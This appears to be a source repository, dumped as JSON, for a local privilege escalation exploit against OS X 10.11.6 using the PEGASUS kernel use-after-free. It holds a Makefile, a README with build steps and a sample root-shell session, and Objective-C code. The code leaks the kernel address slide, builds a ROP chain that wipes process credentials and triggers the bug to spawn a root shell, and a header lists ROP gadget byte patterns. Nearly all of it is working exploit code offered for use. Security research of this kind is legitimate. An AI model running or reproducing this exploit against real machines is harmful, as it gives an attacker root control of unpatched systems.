[
  {
    "path": "Makefile",
    "content": "TARGET = exp\n\nall: $(TARGET)\n\nCFLAGS = \"\"\nFRAMEWORKS = -framework IOKit -framework Foundation -framework CoreFoundation\n\n# Note that in addition to the standard flags we also need\n#\n#\t-m32 -Wl,-pagezero_size,0\n#\n# We need these flags because we are leveraging the use-after-free to generate\n# a kernel NULL-pointer dereference. By mapping the NULL page in user space we\n# ensure that when the kernel dereferences the NULL pointer it gets a value\n# that we control. OS X does not allow 64-bit processes to map the NULL page;\n# however, for legacy support, 32-bit processes can map the NULL page. In order\n# to do so we generate a Mach-O executable without an initial __PAGEZERO\n# segment protecting NULL. The \"-m32\" flag compiles the executable as 32-bit,\n# while the \"-Wl,-pagezero_size,0\" flag causes the linker to not insert a\n# __PAGEZERO segment in the final Mach-O executable.\n$(TARGET): exp.m lsym.m\n\tclang $(CFLAGS) $(FRAMEWORKS) -m32 -Wl,-pagezero_size,0 -O3 $^ -o $@\nclean:\n\trm -f -- $(TARGET)\n"
  },
  {
    "path": "README.md",
    "content": "#Local privilege escalation for OS X 10.11.6 via PEGASUS\n\n * Write up:  \n         1. Chinese  Version: https://jaq.alibaba.com/community/art/show?articleid=531   \n         2. English Version: https://jaq.alibaba.com/community/art/show?articleid=532\n \n * by Min(Spark) Zheng (twitter@SparkZheng, weibo@蒸米spark)\n\n * Note:   \n         1. If you want to test this exp, you should not install Security Update 2016-001 \n            (like iOS 9.3.5 patch for PEGASUS).  \n         2. I hardcoded a kernel address to calcuate kslide, it maybe different on your mac.  \n\n \n * Compile:  \n   clang -framework IOKit -framework Foundation -framework CoreFoundation -m32 -Wl,-pagezero_size,0 -O3 exp.m lsym.m -o exp\n\n * Run the exp:  \n    MacBookPro:PEGASUS zhengmin$ ./exp   \n    getting kslide...  \n    kslide=0x8e00000  \n    building the rop chain...  \n    exploit the kernel...  \n    sh-3.2# whoami  \n    root  \n    sh-3.2# uname -a  \n    Darwin MacBookPro 15.6.0 Darwin Kernel Version 15.6.0: Thu Jun 23 18:25:34 PDT 2016; root:xnu-3248.60.10~1/RELEASE_X86_64 x86_64  \n\n\n * Special thanks to proteas, qwertyoruiop, windknown, aimin pan, jingle, liangchen, qoobee, etc.\n \n * Reference:   \n              1. http://blog.pangu.io/cve-2016-4655/  \n              2. https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html  \n              3. https://bazad.github.io/2016/05/mac-os-x-use-after-free/  \n              4. https://github.com/kpwn/tpwn  \n   \n"
  },
  {
    "path": "exp.m",
    "content": "/* ******************************************************************************************\n \n * Local privilege escalation for OS X 10.11.6 via PEGASUS\n\n * by Min(Spark) Zheng @ Team OverSky (twitter@SparkZheng)\n\n * Note: 1. If you want to test this exp, you should not install Security Update 2016-001 \n            (like iOS 9.3.5 patch for PEGASUS). \n         2. I hardcoded a kernel address to calculate the kslide, it may be different on your mac.\n\n * Special Thanks to proteas, qwertyoruiop, windknown, aimin pan, jingle, liangchen, qoobee, etc.\n \n * Reference: 1. http://blog.pangu.io/cve-2016-4655/\n              2. https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html\n              3. https://bazad.github.io/2016/05/mac-os-x-use-after-free/\n              4. https://github.com/kpwn/tpwn\n \n  ***************************************************************************************** */\n\n#include <unistd.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <mach/mach.h>\n#include <IOKit/IOKitLib.h>\n#include <IOKit/iokitmig.h>\n\n#import \"import.h\"\n#import \"lsym_gadgets.h\"\n\nstatic uint64_t kslide=0;\n\n#define kOSSerializeBinarySignature \"\\323\\0\\0\"\n\nenum\n{\n    kOSSerializeDictionary   = 0x01000000U,\n    kOSSerializeArray        = 0x02000000U,\n    kOSSerializeSet          = 0x03000000U,\n    kOSSerializeNumber       = 0x04000000U,\n    kOSSerializeSymbol       = 0x08000000U,\n    kOSSerializeString       = 0x09000000U,\n    kOSSerializeData         = 0x0a000000U,\n    kOSSerializeBoolean      = 0x0b000000U,\n    kOSSerializeObject       = 0x0c000000U,\n    kOSSerializeTypeMask     = 0x7F000000U,\n    kOSSerializeDataMask     = 0x00FFFFFFU,\n};\n\n__attribute__((always_inline)) inline\nlsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) {\n    if (!pointer) return pointer;\n    return (lsym_slidden_kern_pointer_t) pointer + kslide;\n}\n\n__attribute__((always_inline)) static inline\nuint64_t alloc(uint32_t addr, uint32_t sz) {\n    vm_deallocate(mach_task_self(), (vm_address_t) addr, sz);\n    vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0);\n    while(sz--) *(char*)(addr+sz)=0;\n    return addr;\n}\n\n\nint buildropchain()\n{\n\n  printf(\"building the rop chain...\\n\");\n    \n  //ropchain code from tpwn (https://github.com/kpwn/tpwn) and rootsh (https://github.com/bazad/rootsh)\n\n  lsym_map_t* mapping_kernel=lsym_map_file(\"/System/Library/Kernels/kernel\");\n\n  kernel_fake_stack_t* stack = calloc(1,sizeof(kernel_fake_stack_t));\n    \n  PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, \"_current_proc\");\n  PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);\n  PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, \"_proc_ucred\");\n  PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);\n  PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, \"_posix_cred_get\");\n  PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);\n  PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, sizeof(int)*3)\n  PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, \"_bzero\");\n\n  PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, \"_thread_exception_return\");\n\n  vm_address_t payload_addr = 0;\n  size_t size = 0x1000;\n  /* In case we are re-executing, deallocate the NULL page. */\n  vm_deallocate(mach_task_self(), payload_addr, size);\n  \n  kern_return_t kr = vm_allocate(mach_task_self(), &payload_addr, size, 0);\n  if (kr != KERN_SUCCESS) {\n    printf(\"error: could not allocate NULL page for payload\\n\");\n    return 3;\n  }\n\n  uint64_t * vtable = (uint64_t *)payload_addr;\n\n  /* Virtual method 4 is called in the kernel with rax set to 0. */\n    vtable[0] = 0;\n    vtable[1] = 0;\n    vtable[2] = 0;\n    vtable[3] = ROP_POP_RAX(mapping_kernel);\n    vtable[4] = ROP_PIVOT_RAX(mapping_kernel);\n    vtable[5] = ROP_POP_RAX(mapping_kernel);\n    vtable[6] = 0;\n    vtable[7] = ROP_POP_RSP(mapping_kernel);\n    vtable[8] = (uint64_t)stack->__rop_chain;\n\n    return 0;\n\n}\n\n\nvoid getkaslr()\n{\n\n  printf(\"getting kslide...\\n\");\n\n  kern_return_t err,kr;\n  io_iterator_t iterator;\n  static mach_port_t service = 0;\n  io_connect_t cnn = 0;\n  io_object_t obj=0;\n  io_iterator_t iter;\n   mach_port_t master = 0, res;\n\n    //<dict><key>min</key><number>0x4141414141414141</number></dict>\n    uint32_t data[] = {\n    0x000000d3,                         \n    0x81000001,                         \n    0x08000004, 0x006e696d,\n    0x84000200,    //change the length of OSNumber\n    0x41414141, 0x41414141\n  };\n\n  IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching(\"IOHDIXController\"), &iterator);\n  service = IOIteratorNext(iterator);\n\n\n  kr = io_service_open_extended(service, mach_task_self(), 0, NDR_record, (char*)data, sizeof(data), &err, &cnn);\n\n  if (kr!=0)\n  {\n    printf(\"Cannot create service.\\n\");\n    return;\n  }\n  \n  IORegistryEntryCreateIterator(service, \"IOService\", kIORegistryIterateRecursively, &iter);\n  io_object_t object = IOIteratorNext(iter);\n\n  char search_str[100] = {0};\n\n  sprintf(search_str, \"pid %d\", getpid());\n\n  char buffer[0x200] = {0};\n\n  while (object != 0)\n  {\n            uint32_t size = sizeof(buffer);\n            if (IORegistryEntryGetProperty(object, \"IOUserClientCreator\", buffer, &size) == 0)\n            {\n                if (strstr(buffer, search_str) != NULL)\n                {\n                    memset(buffer,0, 0x200);\n                    size=0x300;\n                    //bcopy( bytes, buf, len ); in io_registry_entry_get_property_bytes()\n                    //Use crafted OSNumber to leak stack information of the kernel\n                    if (io_registry_entry_get_property_bytes(object, \"min\", buffer, &size)==0)\n                    {\n                    //cacluate the kslide\n                    kslide = *((unsigned long long*)&buffer[56])-0xFFFFFF80003934BF; //macOS 10.11.6 (15G31) hardcode\n                    printf(\"kslide=0x%llx\\n\",kslide);\n                    break;\n                    }\n                }\n            }\n            IOObjectRelease(object);            \n            object = IOIteratorNext(iter);\n  }\n    \n  if (object!=0)\n    IOObjectRelease(object);\n}\n\nvoid expkernel()\n{\n\n  printf(\"exploit the kernel...\\n\");\n\n  char * data = malloc(1024);\n  uint32_t bufpos = 0;\n  mach_port_t master = 0, res;\n  kern_return_t kr;\n  \n  /* create header */\n  memcpy(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));\n  bufpos += sizeof(kOSSerializeBinarySignature);\n\n  //<dict><string>A</string><bool>true</bool><key>B</key><data>vtable data...</data><object>1</object></dict>\n\n  *(uint32_t *)(data+bufpos) = kOSSerializeDictionary | 0x80000000 | 0x10; bufpos += 4; //0\n\n  *(uint32_t *)(data+bufpos) = kOSSerializeString | 0x02; bufpos += 4;   //1 string \"A\"\n  *(uint32_t *)(data+bufpos) = 0x00000041; bufpos += 4;\n  *(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 0x1; bufpos += 4;   //2 bool  \"true\"\n\n  *(uint32_t *)(data+bufpos) = kOSSerializeSymbol | 0x2; bufpos += 4;   //3 symbol \"B\"\n  *(uint32_t *)(data+bufpos) = 0x00000042; bufpos += 4;\n  \n  *(uint32_t *)(data+bufpos) = kOSSerializeData | 0x20; bufpos += 4;   //4  vtable\n  *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;\n  *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;\n  *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;\n  *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;\n  *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;\n  *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;\n  *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;\n  *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;\n\n  *(uint32_t *)(data+bufpos) = kOSSerializeObject | 0x1; bufpos += 4; //5  Object refer to string \"A\"\n\n  host_get_io_master(mach_host_self(), &master);\n\n  kr = io_service_get_matching_services_bin(master, data, bufpos, &res); //trigger the UAF vul\n\n  free(data);\n\n}\n\n\nint main(int argc, char * argv[])\n{\n\n  printf(\"*********************************************************************\\n\");\n  printf(\"Local privilege escalation for OS X 10.11.6 via PEGASUS \\n\");\n  printf(\"by Min(Spark) Zheng @ Team OverSky (twitter@SparkZheng)\\n\");\n  printf(\"*********************************************************************\\n\");\n\n  getkaslr();\n\n  if (kslide==0)\n    return -1;\n \n  sleep(1);\n   \n  if (buildropchain()!=0)\n    return -1;\n  \n  sleep(1);\n\n  expkernel();\n\n  argv[0] = \"/bin/sh\";\n  execve(argv[0], argv, NULL);\n  printf(\"error: could not exec shell\\n\");\n\n  return 0;\n\n}\n"
  },
  {
    "path": "import.h",
    "content": "#ifndef pwn_import_h\n#define pwn_import_h\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n\n#include <mach/mach.h>\n#include <mach/mach_vm.h>\n\n#include <IOKit/IOKitLib.h>\n#include <CoreFoundation/CoreFoundation.h>\n#include <IOKit/IOKitLib.h>\n#include <dlfcn.h>\n#include  <string.h>\n#include <mach/mach_types.h>\n#include <mach-o/loader.h>\n#include <sys/types.h>\n#include <mach-o/nlist.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <sys/mman.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n\n\n#include \"lsym.h\"\n#include \"lsym_gadgets.h\"\n\n#endif\n"
  },
  {
    "path": "lsym.h",
    "content": "#ifndef __pwn__lsym__\n#define __pwn__lsym__\n\n#include <stdio.h>\n#include \"import.h\"\n\n#define JUNK_VALUE 0x1337133713371337\n\n\ntypedef struct kernel_fake_stack {\n    uint64_t __cnt;\n    uint64_t __padding[0x499];\n    uint64_t __rop_chain[0x500];\n} kernel_fake_stack_t;\n\n#define LSYM_PAYLOAD_VTABLE 1\n\nstruct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname);\nstruct section_64 *find_section_64(struct segment_command_64 *seg, const char *name);\nstruct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd);\n\ntypedef struct lsym_map {\n    void* map;\n    const char* path;\n    size_t sz;\n} lsym_map_t;\n\ntypedef enum {\n    LSYM_DO_NOT_REBASE = (1 << 0)\n} lsym_gadget_flags;\n\ntypedef uint64_t lsym_map_pointer_t;\ntypedef uint64_t lsym_kern_pointer_t;\ntypedef uint64_t lsym_slidden_kern_pointer_t;\ntypedef uint64_t lsym_offset_t;\n\nlsym_kern_pointer_t         kext_pointer(const char* identifier);\nlsym_map_t                 *lsym_map_file(const char *path);\nlsym_kern_pointer_t         lsym_find_symbol(lsym_map_t *mapping, const char *name);\nlsym_kern_pointer_t         lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags);\nlsym_kern_pointer_t         lsym_kernel_base(lsym_map_t *mapping);\nlsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer);\nlsym_offset_t               lsym_vm_addrperm();\n\ntypedef struct kernel_exploit_vector kernel_exploit_vector_t;\n\n#endif /* defined(__pwn__lsym__) */\n"
  },
  {
    "path": "lsym.m",
    "content": "#include \"lsym.h\"\n#import <Foundation/Foundation.h>\n\n#include <IOKit/IOKitLib.h>\n\nstruct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname);\nstruct section_64 *find_section_64(struct segment_command_64 *seg, const char *name);\nstruct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd);\nextern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);\n\n\nextern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);\n#ifdef FIND_KERNEL_SLIDE\nstatic lsym_offset_t kaslr_slide=0;\nstatic char kaslr_slide_found   =0;\n#endif\n\n__attribute__((always_inline))\nlsym_kern_pointer_t kext_pointer(const char* identifier){\n    return (lsym_kern_pointer_t)[((NSNumber*)(((__bridge NSDictionary*)OSKextCopyLoadedKextInfo(NULL, NULL))[[NSString stringWithUTF8String:identifier]][@\"OSBundleLoadAddress\"])) unsignedLongLongValue];\n}\n\n__attribute__((always_inline))\nlsym_map_t *lsym_map_file(const char *path) {\n    int fd=open(path, O_RDONLY);\nif(fd < 0) return 0;\n    struct stat sb;\n    fstat(fd, &sb);\n    if (sb.st_size < 0x1000) {\n        return 0;\n    }\n    void* map = mmap(NULL, sb.st_size  & 0xFFFFFFFF, PROT_READ, MAP_SHARED, fd, 0);\n    lsym_map_t* ret = (lsym_map_t*)malloc(sizeof(lsym_map_t));\n    ret->map  = map;\n    ret->path = path;\n    ret->sz = sb.st_size & 0xFFFFFFFF;\n    return ret;\n}\n\n__attribute__((always_inline))\nlsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags) {\n    lsym_offset_t off=(lsym_offset_t)memmem(mapping->map, mapping->sz, bytes, size);\n    if (!off) {\n        puts(\"[-] Couldn't find a ROP gadget, aborting.\");\n        exit(1);\n    }\n    return lsym_slide_pointer(((flags & LSYM_DO_NOT_REBASE) == 0 ? lsym_kernel_base(mapping) : 0)+(off - (lsym_offset_t) mapping->map));\n}\n\n__attribute__((always_inline))\nlsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping) {\n    struct mach_header_64 *mh = mapping->map;\n    struct segment_command_64 *text = find_segment_64(mh, SEG_TEXT);\n    return (lsym_kern_pointer_t)text->vmaddr;\n}\n__attribute__((always_inline))\nlsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name) {\n    struct mach_header_64 *mh = mapping->map;\n    struct symtab_command *symtab = NULL;\n    struct segment_command_64 *linkedit = NULL;    \n    /*\n     * Check header\n     */\n    if (mh->magic != MH_MAGIC_64) {\n        return (lsym_kern_pointer_t)NULL;\n    }\n    \n    /*\n     * Find the LINKEDIT and SYMTAB sections\n     */\n    linkedit = find_segment_64(mh, SEG_LINKEDIT);\n    if (!linkedit) {\n        return (lsym_kern_pointer_t)NULL;\n    }\n    \n    symtab = (struct symtab_command *)find_load_command(mh, LC_SYMTAB);\n    if (!symtab) {\n        return (lsym_kern_pointer_t)NULL;\n    }\n    void* symtabp = symtab->stroff + 4 + (char*)mh;\n    void* symtabz = symtab->stroff + (char*)mh;\n    void* symendp = symtab->stroff + (char*)mh + symtab->strsize - 0xA;\n    uint32_t idx = 0;\n    while (symtabp < symendp) {\n        if(strcmp(symtabp, name) == 0) goto found;\n        symtabp += strlen((char*)symtabp) + 1;\n        idx++;\n    }\n    printf(\"[-] symbol %s not resolved.\\n\", name); exit(0);\n    return (lsym_kern_pointer_t)NULL;\nfound:;\n    struct nlist_64* nlp = (struct nlist_64*) (((uint32_t)(symtab->symoff)) + (char*)mh);\n    uint64_t strx = ((char*)symtabp - (char*)symtabz);\n    unsigned int symp = 0;\n    while(symp <= (symtab->nsyms)) {\n        uint32_t strix = *((uint32_t*)nlp);\n        if(strix == strx)\n            goto found1;\n        nlp ++; //sizeof(struct nlist_64);\n        symp++;\n    }\n    printf(\"[-] symbol not found: %s\\n\", name);\n    exit(-1);\nfound1:\n    //printf(\"[+] found symbol %s at 0x%016llx\\n\", name, nlp->n_value);\n    return (lsym_kern_pointer_t)nlp->n_value;\n\n}\n\n__attribute__((always_inline))\nstruct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname)\n{\n    struct load_command *lc;\n    struct segment_command_64 *s, *fs = NULL;\n    lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64));\n    while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {\n        if (lc->cmd == LC_SEGMENT_64) {\n            s = (struct segment_command_64 *)lc;\n            if (!strcmp(s->segname, segname)) {\n                fs = s;\n                break;\n            }\n        }\n        lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize);\n    }\n    return fs;\n}\n\n__attribute__((always_inline))\nstruct section_64 *find_section_64(struct segment_command_64 *seg, const char *name)\n{\n    struct section_64 *sect, *fs = NULL;\n    uint32_t i = 0;\n    for (i = 0, sect = (struct section_64 *)((uint64_t)seg + (uint64_t)sizeof(struct segment_command_64));\n         i < seg->nsects;\n         i++, sect = (struct section_64 *)((uint64_t)sect + sizeof(struct section_64)))\n    {\n        if (!strcmp(sect->sectname, name)) {\n            fs = sect;\n            break;\n        }\n    }\n    return fs;\n}\n\n__attribute__((always_inline))\nstruct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd)\n{\n    struct load_command *lc, *flc;\n    lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64));\n    while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {\n        if (lc->cmd == cmd) {\n            flc = (struct load_command *)lc;\n            break;\n        }\n        lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize);\n    }\n    return flc;\n}\n"
  },
  {
    "path": "lsym_gadgets.h",
    "content": "#ifndef ROP_PIVOT_RAX\n/* Short verion of lsym_slide_pointer(lsym_find_symbol()) */\n\n#define RESOLVE_SYMBOL(map, name) lsym_slide_pointer(lsym_find_symbol(map, name))\n\n/* ROP gadgets present in 10.10 */\n\n// stack pivot\n#define ROP_PIVOT_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 13, 0)\n#define ROP_POP_R14_R15_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 6, 0)\n#define ROP_R14_TO_RCX_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF1,0xFF,0x10}), 5, 0)\n#define ROP_R14_TO_RDI_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF7,0xFF,0x10}), 5, 0)\n\n#define ROP_AND_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x21,0xc8,0x5d,0xC3}), 5 , 0)\n#define ROP_OR_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x09,0xc8,0x5d,0xC3}), 5 , 0)\n#define ROP_RCX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0xBA, 0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 9 , 0)\n\n// advanced register control (experimental) - many of these gadget do not require stack pivoting, but allow for register control and register based flow control (which lets us back up registers that our pivot corrupts).\n// how the fuck do these gadgets even exist lmao\n\n#define ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x5D, 0xFF, 0xE1}), 6, 0);\n#define ROP_RAX_TO_RSI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC6, 0x5D, 0xFF, 0xE1}), 6, 0);\n#define ROP_RBX_TO_RSI_CALL_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0xD1}), 5, 0); // This function does movq rbx, rsi; callq *rcx. so *rcx should point to a pop gadget.\n#define ROP_RAX_TO_RCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 8, 0);\n#define ROP_CR4_TO_RAX_WRITE_RAX_TO_pRCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x20, 0xE0, 0x48, 0x89, 0x01, 0x5D, 0xC3}), 8 , 0)\n#define ROP_RAX_TO_CR4_WRITE_ESI_TO_60H_RDI_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x22, 0xE0, 0x89, 0x77, 0x60, 0x5D, 0xC3}), 8 , 0)\n#define ROP_PUSH_RBP_8H_RDI_TO_RAX_JMP_0H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x8B, 0x47, 0x08, 0x5D, 0xFF, 0x20}), 0xB , 0)\n#define ROP_RAX_TO_RDI_RCX_TO_RSI_CALL_58H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x48, 0x89, 0xCE, 0xFF, 0x50, 0x58}), 9 , 0)\n#define ROP_POP_RBX_RBP_JMP_28H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0x5D, 0xFF, 0x60, 0x28}), 5 , 0)\n#define ROP_WRITE_RBX_WHAT_R14_WHERE_POP_ _POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x49, 0x89, 0x1E, 0x5B, 0x41, 0x5E, 0x5D, 0xC3}), 8 , 0)\n#define ROP_POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5E, 0x5D, 0xC3}), 4, 0)\n#define ROP_RBX_TO_RSI_CALL_30H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0x50, 0x30}), 6, 0)\n#define ROP_RDI_TO_RBX_CALL_130H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xFB, 0xFF, 0x90, 0x30, 0x01, 0x00, 0x00}), 9, 0)\n#define ROP_RSI_TO_RBX_CALL_178H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF3, 0xFF, 0x90, 0x78, 0x01, 0x00, 0x00}), 9, 0)\n#define ROP_RSI_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF0, 0x5d, 0xC3}), 5, 0)\n#define ROP_INC_48H_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0xff, 0x40, 0x48, 0x5d, 0xC3}), 6, 0)\n// register control\n#define ROP_POP_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x58, 0xC3}), 2 , 0)\n#define ROP_POP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x59, 0xC3}), 2 , 0)\n#define ROP_POP_RDX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5A, 0xc3}), 2 , 0)\n#define ROP_POP_RBX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0xc3}), 2 , 0)\n#define ROP_POP_RSP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0xC3}), 2 , 0)\n#define ROP_POP_RSP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0x5d, 0xC3}), 3 , 0)\n#define ROP_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5D, 0xc3}), 2 , 0)\n#define ROP_POP_RSI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5E, 0xc3}), 2 , 0)\n#define ROP_POP_RDI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5F, 0xc3}), 2 , 0)\n#define ROP_RSI_TO_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x89, 0xF0, 0x5D, 0xC3}), 9 , 0)\n\n// write gadgets\n#define ROP_WRITE_RDX_WHAT_RCX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x11,0x5D,0xC3}), 5 , 0)\n#define ROP_WRITE_RAX_WHAT_RDX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x02,0x5D,0xC3}), 5 , 0)\n\n// read gadget\n#define ROP_READ_RAX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x8B,0x00,0x5D,0xC3}), 5 , 0)\n\n\n// simple nop. 0x90 is added to avoid 0xC3 matching non-executable kernel contents.\n\n#define ROP_NULL_OP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x90, 0xC3}), 2, 0);\n\n// helpers\n\n#define PUSH_GADGET(stack) stack->__rop_chain[stack->__cnt++]\n#define ROP_ARG1(stack, map, value) ROP_POP_RDI(map); PUSH_GADGET(stack) = value;\n#define ROP_ARG2(stack, map, value) ROP_POP_RSI(map); PUSH_GADGET(stack) = value;\n#define ROP_ARG3(stack, map, value) ROP_POP_RDX(map); PUSH_GADGET(stack) = value;\n#define ROP_ARG4(stack, map, value) ROP_POP_RCX(map); PUSH_GADGET(stack) = value;\n#define ROP_RAX_TO_ARG1(stack, map) ROP_POP_RCX(map); PUSH_GADGET(stack) = ROP_NULL_OP(map); PUSH_GADGET(stack) = ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map); PUSH_GADGET(stack) = JUNK_VALUE;\n#endif\n"
  }
]